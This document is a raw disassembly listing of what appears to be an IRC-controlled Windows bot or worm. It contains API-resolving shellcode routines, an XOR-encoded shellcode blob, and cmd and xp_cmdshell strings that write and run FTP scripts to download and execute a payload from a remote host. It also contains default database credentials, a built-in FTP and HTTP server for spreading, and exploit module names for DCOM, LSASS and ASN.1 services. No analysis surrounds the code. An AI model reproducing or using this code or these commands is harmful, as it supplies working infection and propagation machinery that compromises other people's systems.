sub_4262F0 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4262C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262F0 proc near ; CODE XREF: sub_4262C7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4262FF: ; CODE XREF: sub_4262F0+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42630C inc ebx jmp short loc_4262FF ; --------------------------------------------------------------------------- loc_42630C: ; CODE XREF: sub_4262F0+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4262F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426315 proc near ; CODE XREF: sub_426250+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42632D: ; CODE XREF: sub_426315+1Ej cmp [ecx], ebx jz short loc_426335 mov ecx, [ecx] jmp short loc_42632D ; --------------------------------------------------------------------------- loc_426335: ; CODE XREF: sub_426315+1Aj mov edx, edi loc_426337: ; CODE XREF: sub_426315+2Aj cmp [edx+4], ebx jz short loc_426341 mov edx, [edx+4] jmp short loc_426337 ; --------------------------------------------------------------------------- loc_426341: ; CODE XREF: sub_426315+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_426315 endp ; =============== S U B R O U T I N E ======================================= sub_42634C proc near ; CODE XREF: sub_426250+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_42634C endp ; =============== S U B R O U T I N E ======================================= sub_426362 proc near ; CODE XREF: sub_426250+16p ; sub_426250+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_426378: ; CODE XREF: sub_426362+33j jecxz short loc_4263B2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_426385: ; CODE XREF: sub_426362+2Dj lodsb cmp al, ah jz short loc_426391 ror edi, 0Dh add edi, eax jmp short loc_426385 ; --------------------------------------------------------------------------- loc_426391: ; CODE XREF: sub_426362+26j cmp edi, [esp+20h+arg_0] jnz short loc_426378 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4263B2: ; CODE XREF: sub_426362:loc_426378j ; sub_426362:loc_4263B2j jmp short loc_4263B2 sub_426362 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_4263B8 proc near ; DATA XREF: seg001:00404906o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42640A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_4263D5: ; CODE XREF: sub_4263B8+38j jecxz short loc_426405 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_4263E0: ; CODE XREF: sub_4263B8+32j lodsb test al, al jz short loc_4263EC ror edx, 0Dh add edx, eax jmp short loc_4263E0 ; --------------------------------------------------------------------------- loc_4263EC: ; CODE XREF: sub_4263B8+2Bj cmp edx, [esp+arg_0] jnz short loc_4263D5 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_426405: ; CODE XREF: sub_4263B8:loc_4263D5j mov [esp+arg_0], ebx retn sub_4263B8 endp ; =============== S U B R O U T I N E ======================================= sub_42640A proc near ; CODE XREF: sub_4263B8+7p ; FUNCTION CHUNK AT 00426442 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_426423 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42642E ; --------------------------------------------------------------------------- loc_426423: ; CODE XREF: sub_42640A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42642E: ; CODE XREF: sub_42640A+14j pop edi xor esi, esi pusha push esi jmp short loc_426442 sub_42640A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426435 proc near ; CODE XREF: sub_42640A:loc_426442p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_426435 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42640A loc_426442: ; CODE XREF: sub_42640A+29j call sub_426435 loc_426447: ; DATA XREF: sub_40408A+1Bo ; sub_40CD3A+7CDo ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42640A ; --------------------------------------------------------------------------- db 3 dup(0) dword_42644C dd 60h dword_426450 dd 62B0606h, 2050501h, 0A0hdword_42645C dd 30h ; seg001:0042C684o ... dword_426460 dd 0A1h dword_426464 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_4040E5+153o align 10h loc_426470: ; DATA XREF: sub_4040E5+E8o jmp short near ptr dword_426478 ; --------------------------------------------------------------------------- align 8 dword_426478 dd 0 dword_42647C dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: seg001:0040492Bo db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404EC7+186o align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: sub_404EC7+152o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: sub_404EC7+BEo align 4 aAdmin db 'admin',0 ; DATA XREF: sub_404EC7+29o ; seg001:0042C3F8o align 4 aRoot db 'root',0 ; DATA XREF: sub_404EC7+22o ; seg001:0042C400o ... align 4 aSa db 'sa',0 ; DATA XREF: sub_404EC7+1Bo align 10h dword_4265F0 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h ; DATA XREF: seg001:00405326o db 1Ah ; --------------------------------------------------------------------------- loc_426601: ; CODE XREF: seg001:00426608j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_426601 ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl ; --------------------------------------------------------------------------- dw 28CDh dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h dd 0D560h word_426744 dw 7A69h ; DATA XREF: sub_40514F+30r align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405398+5B1o aQuit db 'QUIT',0 ; DATA XREF: sub_405398+59Do ; sub_40CD3A+4FCo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_405398+590o align 10h dword_426790 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_405398+545o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 10h a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405398+526o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_405398+4FAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_405398+4E2o align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405398+4D2o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405398+4C1o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405398+48Eo align 10h aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405398+44Ao db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_405398+411o align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405398+3E3o align 4 aList db 'LIST',0 ; DATA XREF: sub_405398+3D0o align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_405398+395o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_405398+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405398+372o aI: ; DATA XREF: sub_405398+35Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405398+337o aA: ; DATA XREF: sub_405398+323o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_405398+30Co ; sub_405398+347o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405398+2FCo align 4 off_42694C dd offset dword_445750 ; DATA XREF: sub_405398+2E8o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405398+2D8o align 4 aRest db 'REST',0 ; DATA XREF: sub_405398+2C4o align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405398+2B4o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_405398+2A0o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405398+290o align 4 aPass db 'PASS',0 ; DATA XREF: sub_405398+27Co align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405398+26Co align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_405398+257o ; seg001:0042C430o ... align 4 aSS db '%s %s',0 ; DATA XREF: sub_405398+246o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405398+1C8o align 4 aRb db 'rb',0 ; DATA XREF: sub_4059FC+24o ; sub_406B84+12Eo ... align 4 unk_4269E8 db 2 ; DATA XREF: sub_405A96+3D3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_426A30 db 0Dh,0Ah,0 ; DATA XREF: sub_405A96+2BEo align 4 asc_426A34: ; DATA XREF: sub_405A96+282o ; sub_40CD3A+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405A96+258o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405ECC+97o ; sub_40A9D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405ECC+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405ECC:loc_405F37o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405ECC+64o align 8 unk_426C58 db 2 ; DATA XREF: sub_406048+27Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 align 8 unk_426CA8 db 2 ; DATA XREF: sub_406048+20Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_426CEC: ; DATA XREF: sub_406048+156o ; seg001:0042E0C8o unicode 0, <*>,0 asc_426CF0: ; DATA XREF: sub_406048+FAo ; sub_4062F7+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_406048+E9o ; sub_4062F7+4CFo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_406048+39o ; sub_40A53E+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_406048+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+64Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4062F7+61Do align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+58Eo align 8 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40681Ao align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+51Co align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+476o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+439o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066C4o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3C6o align 10h aSS_0 db '%s%s/',0 ; DATA XREF: sub_4062F7+379o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+335o ; sub_4062F7+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4062F7+308o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_4062F7+2DEo ; sub_4062F7+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2B4o aAm db 'AM',0 ; DATA XREF: sub_4062F7+293o align 10h aPm db 'PM',0 ; DATA XREF: sub_4062F7+284o align 4 a__1: ; DATA XREF: sub_4062F7+24Co unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_4062F7+231o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+146o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4062F7+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A63+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_4271B8 dd 4000500h, 7868746Bh, 2 dup(0)dword_4271C8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_406B84+479o dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 unk_427218 db 2 ; DATA XREF: sub_406B84+3B6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 4 dword_427254 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406B84+399o unk_427268 db 2 ; DATA XREF: sub_406B84+33Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 10h unk_4272C0 db 2 ; DATA XREF: sub_406B84+15Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 10h unk_427310 db 2 ; DATA XREF: sub_406B84+6Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: sub_406B84+Fo align 10h aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4076CB+155o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: seg001:00404A94o align 4 dd 5 dup(0) dword_427388 dd 87h ; sub_40CD3A+2EEAr ... off_42738C dd offset sub_4033B6 ; DATA XREF: sub_4076CB+1D7r dword_427390 dd 0 ; sub_4033B6+2F0r ... dword_427394 dd 1 dword_427398 dd 0 aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 4033B6h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 4033B6h, 0 dd 1, 0 aDcass db 'dcass',0 align 4 dd 63640000h, 737361h, 6 dup(0) dd 1BDh, 402F74h, 0 dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h dd 3534h, 5 dup(0) dd 1BDh, 403C74h, 0 dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h dd 3533h, 5 dup(0) dd 87h, 403C74h, 0 dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h dd 3933h, 5 dup(0) dd 8Bh, 403C74h, 0 dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0) dd 1BDh, 402DD1h, 0 dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0) dd 1BDh, 403E21h, 0 dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0) dd 599h, 404EC7h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h dd 6 dup(0) dd 599h, 4050FFh, 0 dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h dd 7473h, 5 dup(0) dd 22Ah, 40528Fh, 0 dd 1, 0 aAsn1http db 'asn1http',0 align 2 aAsn1http_0 db 'asn1http',0 align 4 dd 5 dup(0) dd 50h, 4048D6h, 0 dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh dd 62h, 5 dup(0) dd 1BDh, 4048D6h, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 4048D6h, 0 dd 2 dup(1), 316E7361h, 6E626D73h db 74h, 0 byte_4276EE db 1 ; DATA XREF: sub_40CD3A:loc_4117DEr ; sub_40CD3A+4AAEo aLsass445 db 'lsass445',0 dd 736D0100h, 737361h, 0 dd 1, 2 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407075+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407075+42o align 10h unk_427730 db 2 ; DATA XREF: sub_407075+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_427768 db 2 ; DATA XREF: sub_40713F+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42779C db 2 ; DATA XREF: sub_40713F+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 10h unk_4277D0 db 2 ; DATA XREF: sub_4071B6+35Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_427818 db 2 ; DATA XREF: sub_4071B6+307o ; sub_40CD3A+4FD8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_427868 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_4071B6+252o dd 2029206Ch, 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 10h dword_4278B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_4071B6+1FBo dd 2029206Ch, 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 8 unk_427908 db 2 ; DATA XREF: sub_4071B6+138o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 10h unk_427950 db 2 ; DATA XREF: sub_4071B6+D8o ; sub_40CD3A+4E63o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407592+38o ; sub_40A08A+46o unk_4279B0 db 2 ; DATA XREF: sub_4076CB+DCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 align 10h unk_4279F0 db 2 ; DATA XREF: sub_4076CB+84o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h 